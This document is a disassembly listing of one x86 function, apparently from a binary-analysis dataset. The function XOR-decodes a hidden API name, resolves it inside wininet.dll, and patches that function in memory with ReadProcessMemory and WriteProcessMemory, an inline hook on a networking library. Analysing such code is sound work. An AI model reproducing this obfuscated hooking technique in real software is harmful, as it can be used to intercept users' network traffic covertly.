Function at 0x467903
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
xor ebx, ebx
mov esi, ecx
push ebx
mov dword [ebp - 0x1c], esi
call fcn.004edece
push str.ani_Control.Ani
push 0x568eb0
mov dword [esi], 0x531528
call sub.MSVCRT.dll_strcpy
push str.ani_Magic.Ani
push 0x568e90
call sub.MSVCRT.dll_strcpy
add esp, 0x10
mov byte [0x568d73], bl
mov byte [0x568d74], bl
mov byte [0x568d76], bl
mov byte [0x568d75], 5
mov byte [0x568d71], bl
mov byte [0x568d72], bl
mov byte [0x568d70], bl
mov dword [0x568d78], 0x27d8
mov byte [0x568d7f], bl
mov byte [0x568d80], bl
mov byte [0x568d82], bl
mov byte [0x568d81], 0xa
mov byte [0x568d7d], bl
mov byte [0x568d7e], bl
mov byte [0x568d7c], bl
mov dword [0x568d84], 0x27d9
mov byte [0x568d8b], bl
mov byte [0x568d8e], bl
mov byte [0x568d8d], 0xf
mov byte [0x568d89], bl
mov byte [0x568d8a], bl
mov byte [0x568d88], bl
mov dword [0x568d90], 0x27da
mov byte [0x568d97], bl
mov byte [0x568d98], 5
mov byte [0x568d9a], bl
mov byte [0x568d99], bl
mov byte [0x568d95], bl
mov byte [0x568d96], bl
mov byte [0x568d94], bl
mov dword [0x568d9c], 0x27db
mov byte [0x568da3], bl
mov byte [0x568da4], 0xa
mov byte [0x568da6], bl
mov byte [0x568da5], bl
mov byte [0x568da1], bl
mov byte [0x568da2], bl
mov byte [0x568da0], bl
mov dword [0x568da8], 0x27dc
mov byte [0x568daf], bl
mov byte [0x568db0], 0xf
mov byte [0x568db2], bl
mov byte [0x568db1], bl
mov byte [0x568dad], bl
mov byte [0x568dae], bl
mov byte [0x568dac], bl
mov dword [0x568db4], 0x27dd
mov byte [0x568dbb], bl
mov byte [0x568dbc], bl
mov byte [0x568dbe], 5
mov byte [0x568dbd], bl
mov byte [0x568db9], bl
mov byte [0x568dba], bl
mov byte [0x568db8], bl
mov dword [0x568dc0], 0x27de
mov byte [0x568dc7], bl
mov byte [0x568dc8], bl
mov byte [0x568dca], 0xa
mov byte [0x568dc9], bl
mov byte [0x568dc5], bl
mov byte [0x568dc6], bl
mov byte [0x568dc4], bl
mov dword [0x568dcc], 0x27df
mov byte [0x568dd3], bl
mov byte [0x568dd4], bl
mov byte [0x568dd6], 0xf
mov byte [0x568dd5], bl
mov byte [0x568dd1], bl
mov byte [0x568dd2], bl
mov byte [0x568dd0], bl
mov dword [0x568dd8], 0x27e0
mov byte [0x568ddf], bl
mov byte [0x568de0], bl
mov byte [0x568de2], bl
mov byte [0x568de1], bl
mov byte [0x568ddd], bl
mov byte [0x568dde], 0xa
mov byte [0x568ddc], bl
mov dword [0x568de4], 0x27e1
mov byte [0x568deb], bl
mov byte [0x568dec], bl
mov byte [0x568dee], bl
mov byte [0x568ded], bl
mov byte [0x568de9], bl
mov byte [0x568dea], 0xf
mov byte [0x568de8], bl
mov dword [0x568df0], 0x27e2
mov byte [0x568df7], bl
mov byte [0x568df8], bl
mov byte [0x568dfa], bl
mov byte [0x568df9], bl
mov byte [0x568df5], bl
mov byte [0x568df6], 0x19
mov byte [0x568df4], bl
mov dword [0x568dfc], 0x27e3
mov byte [0x568e03], 0x32
mov byte [0x568e04], bl
mov byte [0x568e06], bl
mov byte [0x568e05], bl
mov byte [0x568e01], bl
mov byte [0x568e02], bl
mov byte [0x568e00], bl
mov dword [0x568e08], 0x27e4
mov byte [0x568e0f], 0x64
mov byte [0x568e10], bl
mov byte [0x568e12], bl
mov byte [0x568e11], bl
mov byte [0x568e0d], bl
mov byte [0x568e0e], bl
mov byte [0x568e0c], bl
mov dword [0x568e14], 0x27e5
mov byte [0x568e1b], 0xc8
mov byte [0x568e1c], bl
mov byte [0x568e1e], bl
mov byte [0x568e1d], bl
mov byte [0x568e19], bl
mov byte [0x568e1a], bl
mov byte [0x568e18], bl
mov dword [0x568e20], 0x27e6
mov byte [0x568e27], bl
mov byte [0x568e28], bl
mov byte [0x568e2a], bl
mov byte [0x568e29], bl
mov byte [0x568e25], bl
mov byte [0x568e26], bl
mov byte [0x568e24], 0x1e
mov dword [0x568e2c], 0x27e7
mov byte [0x568e33], bl
mov byte [0x568e34], bl
mov byte [0x568e36], bl
mov byte [0x568e35], bl
mov byte [0x568e31], bl
mov byte [0x568e32], bl
mov byte [0x568e30], 0x32
mov dword [0x568e38], 0x27e8
mov byte [0x568e3f], bl
mov byte [0x568e40], bl
mov byte [0x568e42], bl
mov byte [0x568e41], bl
mov byte [0x568e3d], bl
mov byte [0x568e3e], bl
mov byte [0x568e3c], 0x64
mov dword [0x568e44], 0x27e9
mov byte [0x568e4b], bl
mov byte [0x568e4c], bl
mov byte [0x568e4e], bl
mov byte [0x568e4d], bl
mov byte [0x568e49], 0xf
mov byte [0x568e4a], bl
mov byte [0x568e48], bl
mov dword [0x568e50], 0x27ea
mov byte [0x568e57], bl
mov byte [0x568e58], bl
mov byte [0x568e5a], bl
mov byte [0x568e59], bl
mov byte [0x568e55], 0x1e
mov byte [0x568e56], bl
mov byte [0x568e54], bl
mov dword [0x568e5c], 0x27eb
mov byte [0x568e63], bl
mov byte [0x568e64], bl
mov byte [0x568e66], bl
mov byte [0x568e65], bl
mov byte [0x568e61], 0x32
mov byte [0x568e62], bl
mov byte [0x568e60], bl
mov dword [0x568e68], 0x27ec
mov byte [0x568e6f], bl
mov byte [0x568e70], bl
mov byte [0x568e72], bl
mov byte [0x568e71], bl
mov byte [0x568e6d], bl
mov byte [0x568e6e], bl
mov byte [0x568e6c], bl
mov dword [0x568e74], 0x28d9
mov byte [0x568e7b], bl
mov byte [0x568e7c], bl
mov byte [0x568e7e], bl
mov byte [0x568e7d], bl
mov byte [0x568e79], bl
mov byte [0x568e7a], bl
mov byte [0x568e78], bl
mov dword [0x568e80], 0x28da
mov byte [0x568e87], bl
mov byte [0x568e88], bl
mov byte [0x568e8a], bl
mov byte [0x568e89], bl
mov byte [0x568e85], bl
mov byte [0x568e86], bl
mov byte [0x568e84], bl
mov dword [0x568e8c], 0x28db
push str.wininet.dll
mov dword [esi + 0xc4], ebx
mov dword [esi + 0xc8], ebx
mov dword [esi + 0xcc], ebx
mov dword [esi + 0xd0], ebx
mov dword [esi + 0xd4], ebx
mov dword [esi + 0xd8], ebx
mov dword [esi + 0xdc], ebx
mov dword [esi + 0xe0], ebx
mov dword [esi + 0xe4], ebx
mov dword [esi + 0xe8], ebx
mov dword [esi + 0xec], ebx
mov dword [esi + 0xf0], ebx
mov dword [esi + 0xf4], ebx
mov dword [esi + 0xf8], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [0x568ef8], eax
je 0x467f7a
push edi
push 5
pop ecx
mov esi, str.C:windows_system32
lea edi, [ebp - 0x11c]
push 0x3a
rep movsd dword es:[edi], dword [esi]
pop ecx
xor eax, eax
lea edi, [ebp - 0x108]
mov byte [ebp - 0x14], 0xa
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x11c]
mov byte [ebp - 0x13], 0x54
push eax
mov byte [ebp - 0x12], 0x28
mov byte [ebp - 0x11], 0x12
mov byte [ebp - 0x10], 0x1b
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 0x1b
mov byte [ebp - 0xc], 0x38
mov byte [ebp - 0xb], 3
mov byte [ebp - 0xa], 0x39
mov byte [ebp - 9], 0x1d
mov byte [ebp - 8], 0x2c
mov byte [ebp - 7], 1
mov byte [ebp - 6], 0x18
mov byte [ebp - 5], 0x24
mov byte [ebp - 4], bl
call sub.MSVCRT.dll_strlen
pop ecx
mov esi, eax
xor ecx, ecx
pop edi
mov eax, ecx
cdq
idiv esi
mov al, byte [ebp + edx - 0x11c]
xor byte [ebp + ecx - 0x14], al
inc ecx
cmp ecx, 0x10
jl 0x467f12
lea eax, [ebp - 0x14]
push eax
push dword [0x568ef8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x18]
mov dword [0x568f04], eax
push ecx
push 8
push 0x568ef0
push eax
push 0xffffffffffffffff
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 0x18]
mov dword [0x55bad5], 0x467601
push eax
push 8
push 0x55bad4
push dword [0x568f04]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov esi, dword [ebp - 0x1c]
mov eax, esi
pop esi
pop ebx
leave
ret